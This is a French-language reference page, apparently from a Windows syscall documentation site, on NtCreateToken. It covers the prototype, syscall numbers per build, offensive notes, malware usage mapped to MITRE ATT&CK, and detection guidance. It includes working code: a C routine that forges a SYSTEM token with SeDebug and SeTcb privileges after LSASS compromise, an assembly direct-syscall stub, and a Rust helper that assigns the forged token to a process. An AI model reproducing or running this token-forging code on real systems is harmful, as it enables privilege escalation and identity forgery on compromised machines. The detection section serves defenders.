NtCreateToken
Forge un token d'accès de toutes pièces avec utilisateur, groupes, privilèges, owner, DACL par défaut et source — protégé par SeCreateTokenPrivilege.
Prototype
NTSTATUS NtCreateToken( PHANDLE TokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, TOKEN_TYPE Type, PLUID AuthenticationId, PLARGE_INTEGER ExpirationTime, PTOKEN_USER User, PTOKEN_GROUPS Groups, PTOKEN_PRIVILEGES Privileges, PTOKEN_OWNER Owner, PTOKEN_PRIMARY_GROUP PrimaryGroup, PTOKEN_DEFAULT_DACL DefaultDacl, PTOKEN_SOURCE Source );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| TokenHandle | PHANDLE | out | Reçoit un handle vers le token nouvellement forgé. |
| DesiredAccess | ACCESS_MASK | in | Masque d'accès. TOKEN_ALL_ACCESS (0xF01FF) permet tout sur le résultat. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Attributs d'objet. SecurityQualityOfService choisit ici le niveau d'impersonation du nouveau token. |
| Type | TOKEN_TYPE | in | TokenPrimary (1) ou TokenImpersonation (2). Les tokens primaires s'assignent via NtAssignProcessToken / CreateProcessAsUser ; les impersonation via NtSetInformationThread. |
| AuthenticationId | PLUID | in | LUID identifiant la session de logon. SYSTEM = {0x3E7,0}. Utiliser un LUID de session réel pour hériter des tickets Kerberos, etc. |
| ExpirationTime | PLARGE_INTEGER | in | Expiration du token. Pratiquement ignoré sur tous les builds livrés — utiliser une grande valeur (MAX_LARGE_INTEGER) pour un token sans expiration. |
| User | PTOKEN_USER | in | Structure TOKEN_USER donnant le SID utilisateur — typiquement un utilisateur de domaine ou SYSTEM pour impersonation totale. |
| Groups | PTOKEN_GROUPS | in | Tableau de SIDs de groupes avec attributs. Ajouter Domain Admins, Enterprise Admins, etc. pour fabriquer une appartenance élevée. |
| Privileges | PTOKEN_PRIVILEGES | in | Jeu de privilèges du token. Typiquement l'union de SeDebugPrivilege, SeTcbPrivilege, SeAssignPrimaryTokenPrivilege, etc. lors d'une forge. |
| Owner | PTOKEN_OWNER | in | SID owner par défaut appliqué aux objets créés par le processus du token. |
| PrimaryGroup | PTOKEN_PRIMARY_GROUP | in | SID du groupe primaire (héritage POSIX). Souvent Domain Users. |
| DefaultDacl | PTOKEN_DEFAULT_DACL | in | DACL par défaut pour les nouveaux objets. NULL est accepté — le noyau substitue un défaut permissif. |
| Source | PTOKEN_SOURCE | in | TOKEN_SOURCE.SourceName est un label 8 octets visible dans l'audit — "*SYSTEM*", "User32", "Advapi" ou choisi par l'attaquant. |
IDs de syscalls par version de Windows
| Version de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0xB6 | win10-1507 |
| Win10 1607 | 0xB9 | win10-1607 |
| Win10 1703 | 0xBC | win10-1703 |
| Win10 1709 | 0xBD | win10-1709 |
| Win10 1803 | 0xBE | win10-1803 |
| Win10 1809 | 0xBF | win10-1809 |
| Win10 1903 | 0xC0 | win10-1903 |
| Win10 1909 | 0xC0 | win10-1909 |
| Win10 2004 | 0xC4 | win10-2004 |
| Win10 20H2 | 0xC4 | win10-20h2 |
| Win10 21H1 | 0xC4 | win10-21h1 |
| Win10 21H2 | 0xC5 | win10-21h2 |
| Win10 22H2 | 0xC5 | win10-22h2 |
| Win11 21H2 | 0xCA | win11-21h2 |
| Win11 22H2 | 0xCB | win11-22h2 |
| Win11 23H2 | 0xCB | win11-23h2 |
| Win11 24H2 | 0xCD | win11-24h2 |
| Server 2016 | 0xB9 | winserver-2016 |
| Server 2019 | 0xBF | winserver-2019 |
| Server 2022 | 0xC9 | winserver-2022 |
| Server 2025 | 0xCD | winserver-2025 |
Module noyau
APIs liées
Stub du syscall
4C 8B D1 mov r10, rcx B8 CD 00 00 00 mov eax, 0xCD F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notes non documentées
Le seul syscall qui *crée un token sans authentifier quoi que ce soit*. La barrière est SeCreateTokenPrivilege, par défaut détenu uniquement par LSASS — le Local Security Authority Subsystem. Aucun utilisateur interactif, pas même Administrateur, ne le détient au logon, et le compte local SYSTEM lui-même ne l'a pas (SYSTEM l'obtient via le contexte de package LSA, pas par son token). La question pratique côté offensif est donc : *avez-vous l'exécution dans lsass.exe (ou avez-vous volé un token de lsass.exe qui a déjà ce privilège activé) ?* Si oui, vous pouvez forger un TokenPrimary pour n'importe quel SID, n'importe quelle appartenance de groupes et n'importe quel jeu de privilèges. Le résultat est ensuite assignable via `NtAssignProcessToken` pour fabriquer des processus enfants à la `CreateProcessAsUser` ressemblant à l'identité forgée. Le noyau ne vérifie pas que le User SID existe réellement.
Usage courant par les malwares
T1134.003 *Make and Impersonate Token* dans sa forme la plus pure. Une fois SYSTEM atteint et lsass.exe accessible (Mimikatz `sekurlsa::pth`, `token::create`, pipelines ProcDump puis LSASS-Parser, Pypykatz, chaînes dérivées de Nanodump, workflows post-LSASS de Brute Ratel et Cobalt Strike), c'est cet appel qui matérialise l'identité forgée. Variantes : bâtir une identité 'service' (`AuthenticationId={0x3E7,0}`, tous privilèges) pour de la persistance SYSTEM-équivalente ; bâtir un token d'impersonation domain-admin dont le User SID correspond à une cible que l'attaquant veut imiter face à un service distant (silver-ticket sans Kerberos) ; ou enchaîner NtCreateToken → NtAssignProcessToken → cmd.exe apparaissant dans Process Explorer comme DOMAIN\Administrator sans qu'aucun logon n'ait eu lieu. Le PoC ConVME de Clément Labro et plusieurs outils 'token-magic' publics montrent la chaîne complète.
Opportunités de détection
C'est le syscall token le plus surveillé sur environnement durci. Microsoft-Windows-Threat-Intelligence émet un événement à la réussite. Defender for Endpoint le présente comme 'Token forged' / 'Anomalous token creation' et le rattache au contexte parent lsass.exe. Security 4673 (privileged-service-call) et 4672 (special privileges assigned to new logon) se déclenchent à chaque consommation du token résultant. Posture défensive fiable : tout appelant de NtCreateToken qui *n'est pas* un composant Microsoft signé dans lsass.exe est par définition malveillant — il n'existe aucun usage légitime tiers. Credential Guard (VBS) rend les LSA SECRETS illisibles depuis le user-mode et reste la mitigation principale contre le prérequis, mais ne bloque pas directement NtCreateToken si l'attaquant a déjà obtenu SeCreateTokenPrivilege par un autre chemin.
Exemples de syscalls directs
cSkeleton: forge a SYSTEM primary token (post-LSASS)
// Pre-req: caller is impersonating an LSASS thread token that already
// has SeCreateTokenPrivilege enabled. Otherwise NtCreateToken returns 0xC0000061.
//
// Builds the absolute minimum: User=NT AUTHORITY\SYSTEM, Groups=BUILTIN\Administrators,
// Privileges = {SeDebug, SeTcb, SeAssignPrimaryToken, SeImpersonate}. Many fields here
// are stack-allocated for brevity; production code uses a single contiguous heap blob.
#include <ntsecapi.h>
#include <sddl.h>
typedef NTSTATUS(NTAPI* fnNtCreateToken)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, TOKEN_TYPE,
PLUID, PLARGE_INTEGER, PTOKEN_USER, PTOKEN_GROUPS,
PTOKEN_PRIVILEGES, PTOKEN_OWNER, PTOKEN_PRIMARY_GROUP,
PTOKEN_DEFAULT_DACL, PTOKEN_SOURCE);
HANDLE ForgeSystemToken(void) {
PSID sidSystem = NULL, sidAdmins = NULL;
ConvertStringSidToSidA("S-1-5-18", &sidSystem);
ConvertStringSidToSidA("S-1-5-32-544", &sidAdmins);
TOKEN_USER tu = { { sidSystem, 0 } };
SID_AND_ATTRIBUTES grp = { sidAdmins, SE_GROUP_ENABLED | SE_GROUP_MANDATORY };
BYTE grpsBuf[64] = { 0 };
PTOKEN_GROUPS groups = (PTOKEN_GROUPS)grpsBuf;
groups->GroupCount = 1; groups->Groups[0] = grp;
BYTE prvBuf[128] = { 0 };
PTOKEN_PRIVILEGES privs = (PTOKEN_PRIVILEGES)prvBuf;
privs->PrivilegeCount = 4;
LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &privs->Privileges[0].Luid);
LookupPrivilegeValueA(NULL, SE_TCB_NAME, &privs->Privileges[1].Luid);
LookupPrivilegeValueA(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &privs->Privileges[2].Luid);
LookupPrivilegeValueA(NULL, SE_IMPERSONATE_NAME, &privs->Privileges[3].Luid);
for (DWORD i = 0; i < privs->PrivilegeCount; i++)
privs->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED;
TOKEN_OWNER owner = { sidAdmins };
TOKEN_PRIMARY_GROUP pgrp = { sidAdmins };
TOKEN_SOURCE src = { { '*','S','Y','S','T','E','M','*' } };
AllocateLocallyUniqueId(&src.SourceIdentifier);
LUID authId = { 0x3E7, 0 }; // SYSTEM_LUID
LARGE_INTEGER exp; exp.QuadPart = 0x7FFFFFFFFFFFFFFFLL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
HMODULE n = GetModuleHandleA("ntdll.dll");
fnNtCreateToken pCreate = (fnNtCreateToken)GetProcAddress(n, "NtCreateToken");
HANDLE hTok = NULL;
pCreate(&hTok, TOKEN_ALL_ACCESS, &oa, TokenPrimary,
&authId, &exp, &tu, groups, privs, &owner, &pgrp, NULL, &src);
LocalFree(sidSystem); LocalFree(sidAdmins);
return hTok;
}asmx64 direct stub (Win11 24H2 SSN)
; SSN 0xCD on win11-24h2 / winserver-2025. 13 args — most spill to the stack;
; in syscall ABI the kernel reads them from the user stack directly.
NtCreateToken PROC
mov r10, rcx
mov eax, 0CDh
syscall
ret
NtCreateToken ENDPrustAssign the forged token to a child process
// Skeleton wrapper that takes a forged HANDLE from `forge_system_token()`
// and assigns it as the primary token of a freshly spawned cmd.exe.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::PROCESS_ACCESS_TOKEN;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};
type NtSetInformationProcess = unsafe extern "system" fn(
proc: HANDLE, class: u32, info: *mut u8, len: u32,
) -> i32;
pub unsafe fn assign_token(target_process: HANDLE, forged_token: HANDLE) -> i32 {
#[repr(C)]
struct ProcessAccessToken { token: HANDLE, thread: HANDLE }
let n = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
let addr = GetProcAddress(n, b"NtSetInformationProcess\0".as_ptr()).unwrap();
let f: NtSetInformationProcess = std::mem::transmute(addr);
let mut pat = ProcessAccessToken { token: forged_token, thread: 0 as HANDLE };
f(target_process, PROCESS_ACCESS_TOKEN, &mut pat as *mut _ as *mut u8,
core::mem::size_of::<ProcessAccessToken>() as u32)
}Mappings MITRE ATT&CK
Last verified: 2026-05-20